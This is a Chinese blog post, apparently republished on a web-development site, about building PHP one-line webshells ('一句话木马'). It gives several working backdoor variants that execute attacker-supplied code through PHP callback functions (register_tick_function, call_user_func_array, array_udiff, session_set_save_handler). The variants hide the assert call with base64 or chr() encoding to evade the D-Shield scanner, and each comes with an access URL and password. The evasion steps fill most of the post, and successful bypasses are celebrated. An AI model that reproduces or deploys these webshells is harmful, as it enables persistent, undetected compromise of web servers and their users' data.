分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 网页技术

PHP一句话木马研究

发布时间:2023-09-06 02:31责任编辑:苏小强关键词:PHP

最近在研究PHP一句话后门,查阅了很多大佬的博客,并从中衍生出了一些可用的方法。

现总结如下:

方案一:回调函数

回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。

已被D盾查杀的函数:

array_filter() 
array_walk() 
array_walk_recursive() 
array_map() 
registregister_shutdown_function(); 
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce() 可疑(级别2) 
array_walk() 
array_walk_recursive()

1.register_tick_function()

构造一句话:

<?php ?????declare(ticks=1); ?register_tick_function(base64_decode($_REQUEST[‘e‘]),$_REQUEST[‘a‘]); ??>

访问URL:

IP/XXX.php?e=YXNzZXJ0

密码:a

2.变种call_user_func_array()

尝试模仿正常函数调用,定义一个简单的function:

<?phpfunction newsSearch($para0){ ???$evil=$para0; ???$exec=$_GET[‘id‘]; ???call_user_func_array($exec,array($evil));}newsSearch($_POST[‘tid‘]);?>

使用D盾查杀。

0ops!!没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:

<?phpfunction newsSearch($para0,$para1){ ???$evil=$para0; ???call_user_func_array($para1,array($evil));}$exec=base64_decode($_GET[‘id‘]);newsSearch($_POST[‘tid‘],$exec);?>

OK!完美绕过!

访问URL:

IP/XXX.php?id=YXNzZXJ0

密码:key 
同样的方法可以使用call_user_func函数,构造shell如下:

<?phpfunction newsSearch($para0,$para1){ ???$evil=$para0; ???call_user_func($para1,$evil);}$exec=base64_decode($_GET[‘id‘]);newsSearch($_POST[‘tid‘],$exec);?>

3.变种array_udiff()

用相同的方法构造使用array_udiff()的shell:

<?phpfunction newsSearch($para0,$para1){ ???$evil=$para0; ???$exec=$para1; ???array_udiff($arr=array($evil),$arr1 = array(‘‘),$exec);}$exec=base64_decode($_REQUEST[‘exec‘]);newsSearch($_POST[‘key‘],$exec);?>

访问URL:

IP/XXX.php?exec=YXNzZXJ0

密码:key

剩下的回调函数也可以用相同的方法绕过D盾。

4.session_set_save_handler

session_set_save_handler函数可以定义用户级的session保存函数(打开、保存、关闭),当我们想把session保存在本地的一个数据库中时,本函数就很有用了。

编写shell如下:

<?php ???error_reporting(0); ???$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert ???function open($save_path, $session_name) ?// open第一个被调用,类似类的构造函数 ???{} ???function close() ???// close最后一个被调用,类似 类的析构函数 ???{ ???} ???session_id($_REQUEST[‘op‘]);// 执行session_id($_REQUEST[‘op‘])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST[‘op‘]) ???function write($id, $sess_data) ???{} ???function destroy($id) ???{} ???function gc() ???{} ???// 第三个参数为read ?read(string $sessionId) ???session_set_save_handler("open", "close", $session, "write", "destroy", "gc"); ???@session_start(); // 打开会话?>

使用D盾查杀。$session被解析为assert,猜测D盾认为该函数的参数中不应该含有assert等敏感函数,否则就挂掉!把$session用GET输入试试:

$session=$_REQUEST[‘id‘];

看来只要参数中含有敏感函数、GET、POST、REQUEST都会报错! 
尝试创建一个用户函数,在函数中调用session_set_save_handler(),并将assert作为参数传入:

<?php ???error_reporting(0); ???//$session = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); //assert ???function test($para){ ???????session_set_save_handler("open", "close", $para, "write", "destroy", "gc"); ???????@session_start(); // 打开会话 ???} ???$session=base64_decode($_REQUEST[‘id‘]); ???// open第一个被调用,类似类的构造函数 ???function open($save_path, $session_name) ???{} ???// close最后一个被调用,类似 类的析构函数 ???function close() ???{ ???} ???// 执行session_id($_REQUEST[‘op‘])后,PHP自动会进行read操作,因为我们为read callback赋值了assert操作,等价于执行assert($_REQUEST[‘op‘]) ???session_id($_REQUEST[‘op‘]); ???function write($id, $sess_data) ???{} ???function destroy($id) ???{} ???function gc() ???{} ???// 第三个参数为read ?read(string $sessionId) ???test($session);?>

完美绕过!

访问URL:

IP/XXX.php?id=YXNzZXJ0

密码:op

PHP一句话木马研究

原文地址:https://www.cnblogs.com/h2zZhou/p/10322530.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved